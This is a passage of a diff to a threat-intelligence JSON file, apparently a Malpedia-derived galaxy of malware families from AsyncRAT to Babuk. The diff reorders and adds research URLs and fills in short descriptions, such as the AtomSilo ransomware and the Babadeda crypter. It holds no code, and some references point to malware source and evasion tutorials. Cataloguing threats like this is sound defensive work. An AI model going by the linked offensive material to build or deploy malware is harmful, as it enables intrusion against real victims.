"https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://embee-research.ghost.io/shodan-censys-queries/", "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/", - "https://community.riskiq.com/article/ade260c6", - "https://blog.morphisec.com/syk-crypter-discord", - "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", + "https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies", + "https://twitter.com/vxunderground/status/1519632014361640960", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blogs.vmware.com/security/2019/11/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat.html", + "https://blog.morphisec.com/asyncrat-new-delivery-technique-new-threat-campaign", + "https://community.riskiq.com/article/24759ad2", + "https://mssplab.github.io/threat-hunting/2023/05/19/malware-src-asyncrat.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://medium.com/@hcksyd/asyncrat-analysing-the-three-stages-of-execution-378b343216bf", "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2022/wochenrueckblick_7.html", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://www.netskope.com/blog/asyncrat-using-fully-undetected-downloader", - "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://github.com/jeFF0Falltrades/Tutorials/tree/master/asyncrat_config_parser", - "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/" + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", + "https://blog.netlab.360.com/purecrypter", + "https://www.zscaler.com/blogs/security-research/targeted-attack-thailand-pass-customers-delivers-asyncrat", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "https://www.splunk.com/en_us/blog/security/asyncrat-crusade-detections-and-defense.html", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://eln0ty.github.io/malware%20analysis/asyncRAT/", + "https://thehackernews.com/2022/01/hackers-using-new-evasive-technique-to.html" ], "synonyms": [], "type": [] @@ -13618,8 +14250,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch", - "https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/", "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", + "https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/", "https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/" ], "synonyms": [], @@ -13647,10 +14279,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter", - "https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf" + "https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf", + "https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood" ], "synonyms": [], "type": [] @@ -13659,19 +14291,19 @@ "value": "ATMSpitter" }, { - "description": "", + "description": "According to PCrisk, AtomSilo is a type of malware that blocks access to files by encrypting them and renames every encrypted file by appending the \".ATOMSILO\" to its filename. It renames \"1.jpg\" to \"1.jpg.ATOMSILO\", \"2.jpg\" to \"2.jpg.ATOMSILO\", and so on. As its ransom note, AtomSilo creates the \"README-FILE-#COMPUTER-NAME#-#CREATION-TIME#.hta\" file.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo", + "https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://twitter.com/siri_urz/status/1437664046556274694?s=20", "https://chuongdong.com//reverse%20engineering/2021/10/13/AtomSiloRansomware/", "https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://www.zscaler.com/blogs/security-research/atomsilo-ransomware-enters-league-double-extortion", - "https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/", - "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://twitter.com/siri_urz/status/1437664046556274694?s=20" + "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/" ], "synonyms": [], "type": [] @@ -13680,19 +14312,19 @@ "value": "ATOMSILO" }, { - "description": "Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.\r\n\r\nAttor’s core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware’s key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability. \r\n\r\nThe most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.", + "description": "Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.\r\n\r\nAttor\u2019s core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware\u2019s key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability. \r\n\r\nThe most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor", - "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", - "https://threatpost.com/sophisticated-spy-kit-russians-gsm-plugin/149095/", - "https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html", - "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", - "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", - "https://safe.cnews.ru/news/top/2019-10-11_za_rossijskimi_diplomatami", - "https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform", "https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform/", - "https://www.zdnet.com/article/new-espionage-malware-found-targeting-russian-speaking-users-in-eastern-europe/" + "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", + "https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html", + "https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform", + "https://threatpost.com/sophisticated-spy-kit-russians-gsm-plugin/149095/", + "https://www.zdnet.com/article/new-espionage-malware-found-targeting-russian-speaking-users-in-eastern-europe/", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", + "https://safe.cnews.ru/news/top/2019-10-11_za_rossijskimi_diplomatami" ], "synonyms": [], "type": [] @@ -13749,11 +14381,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora", - "https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/", - "https://twitter.com/malwrhunterteam/status/1001461507513880576", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/", - "https://blog.morphisec.com/in2al5d-p3in4er" + "https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/", + "https://blog.morphisec.com/in2al5d-p3in4er", + "https://twitter.com/malwrhunterteam/status/1001461507513880576", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [ "OneKeyLocker" @@ -13768,13 +14400,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora_stealer", - "https://d01a.github.io/aurora-stealer/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", "https://research.loginsoft.com/threat-research/aurora-the-dark-dawn-and-its-menacing-effects/", "https://research.openanalysis.net/in2al5dp3in4er/loader/analysis/sandbox/invalid%20printer/2023/04/23/in2al5dp3in4er.html", - "https://d01a.github.io/aurora-stealer-builder/", - "https://isc.sans.edu/diary/rss/29448", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-aurora-stealer", + "https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/", + "https://denshiyurei.medium.com/silent-echoes-the-hidden-dialogue-among-malware-entities-spotlight-on-amos-infostealer-6d7cd70e3219", + "https://d01a.github.io/aurora-stealer/", "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/", - "https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/" + "https://d01a.github.io/aurora-stealer-builder/", + "https://isc.sans.edu/diary/rss/29448" ], "synonyms": [], "type": [] @@ -13787,45 +14422,45 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.connectwise.com/resources/avaddon-profile", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://twitter.com/Securityinbits/status/1271065316903120902", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", - "https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/", - "https://twitter.com/dk_samper/status/1348560784285167617", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.swascan.com/it/avaddon-ransomware/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis", "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.tgsoft.it/files/report/download.asp?id=568531345", + "https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/", + "https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/", + "https://twitter.com/dk_samper/status/1348560784285167617", + "https://www.connectwise.com/resources/avaddon-profile", + "https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://arxiv.org/pdf/2102.04796.pdf", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/", - "https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", - "https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/", - "https://www.tgsoft.it/files/report/download.asp?id=568531345", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis", - "https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf", "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", - "https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf" + "https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://twitter.com/Securityinbits/status/1271065316903120902", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.swascan.com/it/avaddon-ransomware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/" ], "synonyms": [], "type": [] @@ -13851,8 +14486,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt", - 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"https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.blueliv.com/blog-news/research/azorult-crydbrox-stops-sells-malware-credential-stealer/", - "https://www.virusbulletin.com/uploads/pdf/magazine/2021/202104-design-vulnerabilities-azorult-cc-panels.pdf", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", - "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", - "https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update", - "https://unit42.paloaltonetworks.com/cybersquatting/", - "https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/", - "https://fr3d.hk/blog/gazorp-thieving-from-thieves", + "https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/", "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", - "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-analyzing-azorult-infostealer-malware.html", - "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", - "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", - "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", - "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", - "https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://community.riskiq.com/article/2a36a7d2/description", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://asec.ahnlab.com/en/26517/", + "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", + "https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/", + "https://twitter.com/DrStache_/status/1227662001247268864", "https://www.splunk.com/en_us/blog/security/-applocker-rules-as-defense-evasion-complete-analysis.html", - "https://ke-la.com/exploring-the-genesis-supply-chain-for-fun-and-profit/", - "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/", - "https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/", - "https://securelist.com/azorult-analysis-history/89922/", + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", + "https://isc.sans.edu/diary/25120", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers", + "https://ke-la.com/whats-dead-may-never-die-azorult-infostealer-decommissioned-again/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/", "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://ke-la.com/exploring-the-genesis-supply-chain-for-fun-and-profit/", + "https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", + "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", + "https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/", + "https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat", + "https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/", + "http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://community.riskiq.com/article/56e28880", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.blueliv.com/blog-news/research/azorult-crydbrox-stops-sells-malware-credential-stealer/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", + "https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-analyzing-azorult-infostealer-malware.html", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside", "https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/", + "https://community.riskiq.com/article/2a36a7d2/description", + "https://securelist.com/azorult-analysis-history/89922/", "https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/", - "https://twitter.com/DrStache_/status/1227662001247268864", - "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.zscaler.com/blogs/security-research/targeted-attacks-oil-and-gas-supply-chain-industries-middle-east", - "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", + "https://unit42.paloaltonetworks.com/cybersquatting/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", + "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/", + "https://www.virusbulletin.com/uploads/pdf/magazine/2021/202104-design-vulnerabilities-azorult-cc-panels.pdf", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", + "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", + "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", + "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html", + "https://www.zscaler.com/blogs/security-research/targeted-attacks-oil-and-gas-supply-chain-industries-middle-east", + "https://fr3d.hk/blog/gazorp-thieving-from-thieves" ], "synonyms": [ "PuffStealer", @@ -14112,8 +14765,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper", - "https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidsware-but-polymorphic-wiper/", "https://twitter.com/_CPResearch_/status/1587837524604465153", + "https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidsware-but-polymorphic-wiper/", "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper" ], "synonyms": [], @@ -14123,7 +14776,7 @@ "value": "Azov Wiper" }, { - "description": "", + "description": "According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers\u2019 analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda", @@ -14140,11 +14793,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.babar", - "https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope", - "https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analysing-10-year-old-snowball/", "https://drive.google.com/a/cyphort.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/", "http://www.spiegel.de/media/media-35683.pdf", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analysing-10-year-old-snowball/" + "https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope", + "https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/" ], "synonyms": [ "SNOWBALL" @@ -14159,55 +14812,58 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://sekurak.pl/udalo-nam-sie-zrealizowac-wywiad-z-grupa-ransomware-babuk-ktora-zaszyfrowala-policje-metropolitarna-w-waszyngtonie/", - "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", - "https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html", - "https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://lab52.io/blog/quick-review-of-babuk-ransomware-builder/", - "https://www.bleepingcomputer.com/news/security/babuk-ransomware-is-back-uses-new-version-on-corporate-networks/", - 